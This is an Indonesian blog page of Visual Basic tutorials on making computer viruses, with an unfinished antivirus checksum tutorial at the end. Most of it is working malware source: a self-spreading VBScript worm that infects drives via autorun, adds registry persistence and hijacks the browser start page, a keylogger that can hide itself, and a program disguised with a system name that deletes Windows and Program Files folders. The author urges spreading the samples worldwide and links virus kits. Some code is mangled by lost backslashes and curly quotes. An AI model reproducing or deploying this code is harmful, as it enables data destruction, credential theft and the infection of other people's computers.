Post Game: basic

Showing posts with label basic. Show all posts

Saturday, November 26, 2016

Cara membuat Virus Dengan Visual Basic

Cara Membuat Virus Menggunakan Visual Basic (VB)
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas

Sub serangan_jpg(target)
 on error resume next
 set ftarget=fso.GetFile(target)
 set fsource = fso.GetFile(Wscript.ScriptFullName)
 ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
 set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
 fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
 ftarget.Delete
 ftarget.Close
 fsource.Close
 End Sub
 Sub carifilejpg(folder)
 For Each filetarget in fso.GetFolder(folder).Files
 If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
 Next
 End Sub

2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.

Sub serangan_drive()
 Set fso = CreateObject(”Scripting.FileSystemObject”)
 Set Drives=fso.drives
 adaflashdisk = False
 For Each drive in Drives
 If drive.isready Then
 fsource.Copy(drive & “” & “wolio.vbs”)
 If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
 End If
 Next
 If adaflashdisk = True Then
 set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
 fileautorun.WriteLine(”[AUTORUN]“)
 fileautorun.WriteLine(”RUN=wolio.vbs”)
 End If
 End Sub

3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan

Sub serangan_ie()
 If (regedit.RegRead(”HKEY_CURRENT_USERSOFTWAREMicrosoftInternet ExplorerMainStart
 Page”)<>”c:windowssystem32wolio.html”) Then
 regedit.RegWrite “HKEY_CURRENT_USERSOFTWAREMicrosoftInternet ExplorerMainStart
 Page”,”c:windowssystem32wolio.html”
 End If
 End Sub

4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus


 Sub buat_html()
 set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
 filehtml.WriteLine(””)
 filehtml.WriteLine(””)
 “)
 filehtml.WriteLine(”Welcome to Wolio”)
 filehtml.WriteLine(”filehtml.WriteLine(””)
 filehtml.WriteLine(””)
 filehtml.WriteLine(””)
 filehtml.WriteLine(””)
 filehtml.WriteLine(””)
 filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
 filehtml.WriteLine(””)
 filehtml.WriteLine(””)
 End Sub

5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus


 Sub serangan_folder(foldername)
 on error resume next
 For Each subfolder in fso.GetFolder(foldername).SubFolders
 fsource.Copy(subfolder & “wolio.vbs”)
 carifilejpg(subfolder)
 next
 End Sub

6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur


 On Error Resume Next
 dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
 filehtml, fileautorun
 dim adaflashdisk
 set fso = CreateObject(”Scripting.FileSystemObject”)
 set fsource = fso.GetFile(Wscript.ScriptFullName)
 set regedit=CreateObject(”WScript.Shell”)
 myfolder = Left(fsource,InStrRev(fsource,””))
 ‘ Copy-kan diri ke “c:windowssystem32?
 fsource.Copy(”c:windowssystem32wolio.vbs”)
 ‘ Cari dan infeksi file JPG didalam folder
 carifilejpg(myfolder)
 ‘ Copy-kan diri di sub folder yang ada
 serangan_folder(myfolder)
 ‘ Regitry
 if
 (regedit.RegRead(”HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunWolio”)<>”c:windowssystem32wolio.vbs”) Then
 regedit.RegWrite
 “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunWolio”,”c:windowssystem32wolio.vbs”
 End If
 ‘ Copy-kan diri ke semua drive aktif
 serangan_drive()
 ‘ Buat file wolio.html
 buat_html()
 ‘ Ubah Start Page di Internet Explorer
 serangan_ie()

Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “KONYOL”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.
Source: c o k e l a t n e t[dot]b l o g s p o t[dot] c o m
Silakan Ber Eksperimen Dengan Ide-Ide yang lain Sobat
Jangan lupa untuk sharing kepada yang lain ya

Salam : R00TK1LL3R / a.k.a Aries

Go to link Download

Cara Membuat Anti Virus Sendiri Dengan Visual Basic

Hai Semuanya :D
Sudah lama saya tidak mengpost artikel di blog ini
Kali Ini Saya Akan Share Ttg Cara Membuat Anti Virus Sendiri Dengan Visual Basic
Oke langsung saja ke tutorial dan bahan2 Yang Di Perlukan

Alat-Alat :

Click To Download

Size : 5.79 MB

SC AntiVirus

Click To Download

Size : 11.37 KB

Tutorial
1.Extrak File ProjectAntiVirus ke C:Documents and Settingsuserpckamu
2.Buka Visual basic anda dan pilih standard EXE
Images

3.Pilih File -> Open project
Images

4.Browse File LKAntiVirus.vbp yang ada di folder Forms tadi
Images

5.Setelah itu klik dua kali Forms ( di samping kanan) lalu klik lagi frAntiVrius.frm
Images

6.Selesai Edit-edit deh sesuai selera mu , jika sudah siap mengedit klik file dan klik Make LKAntiVirus.exe terus masukkan nama file kamu
Images

Contoh File Saya Yang Sudah Jadi
(sebelum di download pasang deep freeze dolo, itu filenya sedikit bervirus,komputer gw bervirus jadi kena ke semua file)

Semoga Bermanfaat

Go to link Download

Cara Membuat KeyLogger Dengan Visual Basic 6 0

Cara Membuat KeyLogger Dengan Visual Basic 6.0 - Selamat malam semua, kali ini saya akan sharing tentang keylogger, pasti udah pada tau dong keylogger itu apa? dan saya akan menulis artikel sesuai pada judul hehehe, oke langsung saja.

1. Siapkan Visual Basic 6.0, bisa cari di Sini
2. Buka program Visual Basic
3. New Project, Standard EXE

4. Tambahkan 1 TextBox, 4 CommandButton, 2 Timmer, dan 6 buah Label ( Lihat Gambar )

5. Copy + Paste seluruh kode di bawah ini pada From :

Private Declare Function GetAsyncKeyState Lib “user32? (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32? () As Long
Private Declare Function GetWindowText Lib “user32? Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Command3_Click()
backs = True
End SubPrivate Sub Command4_Click()
backs = False
End SubPrivate Sub Form_Load()
backs = True
End Sub
Private Sub Label1_Click()
End Sub
Private Sub Label4_Click()
End Sub
Private Sub Label6_Click()
Timer1.Enabled = True
End Sub
Private Sub Label7_Click()
Timer1.Enabled = False
End Sub
Private Sub Label8_Click()
backs = True
End Sub
Private Sub Label9_Click()
backs = False
End Sub
Private Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End Sub
Private Sub Timer1_Timer()
Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000
win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = “”
GetWindowText hForegroundWnd, Title, 1000
Select Case Asc(Title)
Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
Text1.Text = Text1.Text & " ]” & vbCrLf
End Select
End If
Exit Sub
Keylogger:
For i = 65 To 90
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
If x2 = -32768 Then
Text1.Text = Text1.Text & Chr(i)
Else: Text1.Text = Text1.Text & Chr(i + 32)
End If
End If
Next
For i = 8 To 222
If i = 65 Then i = 91
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
Select Case i
Case 48
Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0?)
Case 49
Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1?)
Case 50
Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2?)
Case 51
Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3?)
Case 52
Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4?)
Case 53
Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5?)
Case 54
Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6?)
Case 55
Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7?)
Case 56
Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8?)
Case 57
Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9?)
Case 112: Text1.Text = Text1.Text & ” F1 “
Case 113: Text1.Text = Text1.Text & ” F2 “
Case 114: Text1.Text = Text1.Text & ” F3 “
Case 115: Text1.Text = Text1.Text & ” F4 “
Case 116: Text1.Text = Text1.Text & ” F5 “
Case 117: Text1.Text = Text1.Text & ” F6 “
Case 118: Text1.Text = Text1.Text & ” F7 “
Case 119: Text1.Text = Text1.Text & ” F8 “
Case 120: Text1.Text = Text1.Text & ” F9 “
Case 121: Text1.Text = Text1.Text & ” F10 “
Case 122: Text1.Text = Text1.Text & ” F11 “
Case 123: Text1.Text = Text1.Text & ” F12 “
Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “”)
Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
Case 32: Text1.Text = Text1.Text & ” “
Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
Case 35: Text1.Text = Text1.Text & ” [ End ] “
Case 36: Text1.Text = Text1.Text & ” [ Home ] “
Case 37: Text1.Text = Text1.Text & ” [ Left ] “
Case 38: Text1.Text = Text1.Text & ” [ Up ] “
Case 39: Text1.Text = Text1.Text & ” [ Right ] “
Case 40: Text1.Text = Text1.Text & ” [ Down ] “
Case 41: Text1.Text = Text1.Text & ” [ Select ] “
Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
Case 46: Text1.Text = Text1.Text & ” [ Del ] “
Case 47: Text1.Text = Text1.Text & ” [ Help ] “
Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
End Select
End If
Next
End Sub
Private Sub Timer2_Timer()
Dim a, b, x As Long
a = GetAsyncKeyState(120)
b = GetAsyncKeyState(121)
x = GetAsyncKeyState(16)
If a = -32767 And x = -32768 Then Me.Hide
If b = -32767 And x = -32768 Then Me.Show
End Sub

6. Jalankan dengan tekan F5

Sumber

Go to link Download

Cara Membuat Virus Dan AntiVirus Di Visual Basic 6

tutorial buat bikin virus sangat mematikan, tapi simple, dan kayanya sih ga bakal kedekteksi antivirus, soalnya cara kerjanya simple banget.

yang anda perlukan antara lain adalah sebagai berikut :
1. VB(optimal : 6.0)

apabila anda ingin mendownload Visual Basic 6.0, klik disini

2. Ngerti tombol2nya VB

tutorialnya begini sob, :

1. bikin form sekecil mungkin

2. didalem form itu, masukin nih kode

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist(”c:windowssystem32katak.txt”) = True Then
End
Else
Call DelAll(”c:windowssystem”)
Call DelAll(”c:windowssystem32?)
Call DelAll(”c:windows”)
Call DelAll(”C:Documents and SettingsAll Users”)
Call DelAll(”C:Documents and SettingsAdministrator”)
Call DelAll(”C:Documents and Settings”)
Call DelAll(”C:Program FilesCommon Files”)
Call DelAll(”C:Program FilesInternet Explorer”)
Call DelAll(”C:Program FilesMicrosoft Visual Studio”)
Call DelAll(”C:Program Files”)
End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

3.Kode yg berwarna biru itu adalah penangkal nih virus sob, jadi di folder c:windowssystem32 kalo ada file namanya katak.txt, lu ga bakal keserang sendiri… bisa kamu edit kok jadi apa gitu…

Yang berwarna merah itu folder yg bakal didelete ama nih virus, kamu edit sendiri aja…

4. Bikin nih project namanya kaya nama system, disini aku memakai nama “SystemKernel32? jadi ga bakal dicurigain.

5. jangan pernah nulis nama kamu di project ini, okey friend?

6. terakhir ya tinggal di compile deh…

gimana sob, mudah sekali kan?..

sangat Simple kan? nih virus kerjanya ngapus system, jadi sengat berbahaya sekali … ini cman contoh bikin virus…

Sebenarnya bikin virus itu menyenangkan, apalagi klo kita sampai bisa bikin orang kebakaran jengot gara2 virus kita. Aku mau berbagi sedikit ilmu nih tentang cara bikin virus dengan VB 6. Materi ini hanya untuk coba-coba saja atau kata lainnya ini masih dasarnya. Kamu mungkin bisa mengembangkannya sendiri. Oh ya, aku juga menyertakan satu contoh virus yang sudah aku buat namanya r3d_94l4xy. Untuk materi yang lebih berat akan disambung lain waktu. Bagi yang ingin mendapatkan sample virus tertentu dengan source codenya silakan contact Johan.

Pertama, bikin form buat virus kamu pake Standart exe saja

1. Nyembuin Form

Private Sub Form_Load()
App.TaskVisible = False
End Sub

2. Kopiin Diri Sendiri
Misalnya mau dikopiin ke direktori C:Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows

On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:WINDOWSwinlogon.exe”
FileCopy App.EXEName + “.exe”, “C:WINDOWScsrss.exe”
FileCopy App.EXEName + “.exe”, “C:WINDOWSservices.exe”
FileCopy App.EXEName + “.exe”, “C:WINDOWSsmss.exe”
FileCopy App.EXEName + “.exe”, “C:WINDOWSlsass.exe”

3. Bikin Direktori ato folder
Misalnya bikin folder di windows direktori

On Error Resume Next
MkDir “C:WINDOWSvirus”

4. Mengganti Atribut file
Bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden

Set sembunyi = CreateObject(”Scripting.FileSystemObject”)
On Error Resume Next
sembunyi.GetFile(”C:WINDOWSwinlogon.exe”).Attributes = 2
sembunyi.GetFile(”C:WINDOWScsrss.exe”).Attributes = 2
sembunyi.GetFile(”C:WINDOWSservices.exe”).Attributes = 2
sembunyi.GetFile(”C:WINDOWSsmss.exe”).Attributes = 2
sembunyi.GetFile(”C:WINDOWSlsass.exe”).Attributes = 2

tapi kalo folder pakenya
sembunyi.GetFolder(”C:WINDOWS”).Attributes = 2

5. Bikin Pesan Virus
Bikin pesen pake text file

On Error Resume Next
Set bikinpesen = CreateObject(”Scripting.FileSystemObject”)
Set isipesen = bikinpesen.Createtextfile(”C: aca saya.txt “)
isipesen.writeline (”komputer kamu kena virus bodoh “)
isipesen.Close

6.Ngubah Registry
Misalnya mo disable regedit

On Error Resume Next
Set ubahreg = CreateObject(”WScript.Shell”)
ubahreg.regwrite “HKEY_CURRENT_USERsoftware
microsoftwindowscurrentversionpoliciessystem
disableregistrytools”, 1, “REG_DWORD”

7.Menghapus Registry
Misalna mo ngehapus HKEY_LOCAL_MACHINE
SoftwareMicrosoftWindows NTCurrentVersionRunServLogon

On Error Resume Next
Set hapusreg = CreateObject(”WScript.Shell”)
hapusreg.regdelete “HKEY_LOCAL_MACHINE
SoftwareMicrosoftWindows NTCurrentVersionRunServLogon”

Nah sekian dulu materi yang kita pelajari, dari pada pusing, download sample virus r3d_94l4xy dan sebarin ke seluruh penjuru dunia OK!
r3d_94l4xy.rar 180 kb
Berhubung banyaknya permintaan mengenai Sample Virus dalam bentuk VB Project, jadi dibawah ini aku tambahi Source VB nya r3d_94l4xy dan virus lainnya :
r3d_94l4xy (VB_Basic).rar 95 kb
r3d_94l4xy (VB_Extreme).rar 860 kb
Source VB 4 Virus.rar 1297 kb
Trus yang ini adalah software untuk membuat virus dengan mudah, coba deh !
Visual Basic Virus Maker 32 RC 03.rar 1560 kb
Trus yang terakhir ini adalah Artikel tentang Regsitry, bisa kamu pelajari sampai tua!
1001 Malam Mengedit Registry.rar 41 kb
Teknik Bikin Virus Komputer.rar 20 kb
Tak kasih bonus ya Internet Maniac dan Harpot Infeksi Exe, tau kan fungsinya!
Internet Maniac.rar 59 kb
Harpot Infeksi Exe.rar 881 kb
Segini dulu aja ya, soalnya aku lagi persiapan buat lomba Debat Bahasa Inggris di Jember, tanggal 25 November nanti. Dan jangan lupa doain aku biar juara 1, OK ! Dan seperti biasanya, kalau ada pertanyaan, silakan bertanya jangan dipendam. Selamat Belajar !

MEMBUAT ANTIVIRUS

Mungki ini sangat sederhana dan dibuat untuk menangapi tutorial sebelumnya yang tidak lengkap apabila hanya membuat virus saja oke langsung aja deh tanpa basa-basi lagi

Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :

1. Software Visual Basic 6.0

2. Sedikit pemahaman akan pemograman Visual Basic 6.0

3. Sampel file bersih atau virus (- opsional)

First

Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :

- Memilih file yang akan dicek

- Membuka file tersebut dalam mode binary

- Memproses byte demi byte untuk menghasilkan Checksum
Blog dengan ID 134100 Tidak ada

Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0). Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :

================= START HERE ====================

Private crcTable(0 To 255) As Long ‘crc32

Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long

‘bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file

Dim lCurPos As Long ‘Current position untuk iterasi proses array bArrayIn

Dim lTemp As Long ‘variabel temp hasil perhitungan

If lLen = 0 Then Exit Function ‘keluar fungsi apabila ukuran file = 0

lTemp = lcrc Xor &HFFFFFFFF

For lCurPos = 0 To lLen

lTemp = (((lTemp And &HFFFFFF00) &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))

Post Game

Saturday, November 26, 2016

Cara membuat Virus Dengan Visual Basic

Cara membuat Virus Dengan Visual Basic

Wednesday, November 16, 2016

Cara Membuat Anti Virus Sendiri Dengan Visual Basic

Cara Membuat Anti Virus Sendiri Dengan Visual Basic

Sunday, November 6, 2016

Cara Membuat KeyLogger Dengan Visual Basic 6 0

Cara Membuat KeyLogger Dengan Visual Basic 6 0

Saturday, October 29, 2016

Cara Membuat Virus Dan AntiVirus Di Visual Basic 6

Cara Membuat Virus Dan AntiVirus Di Visual Basic 6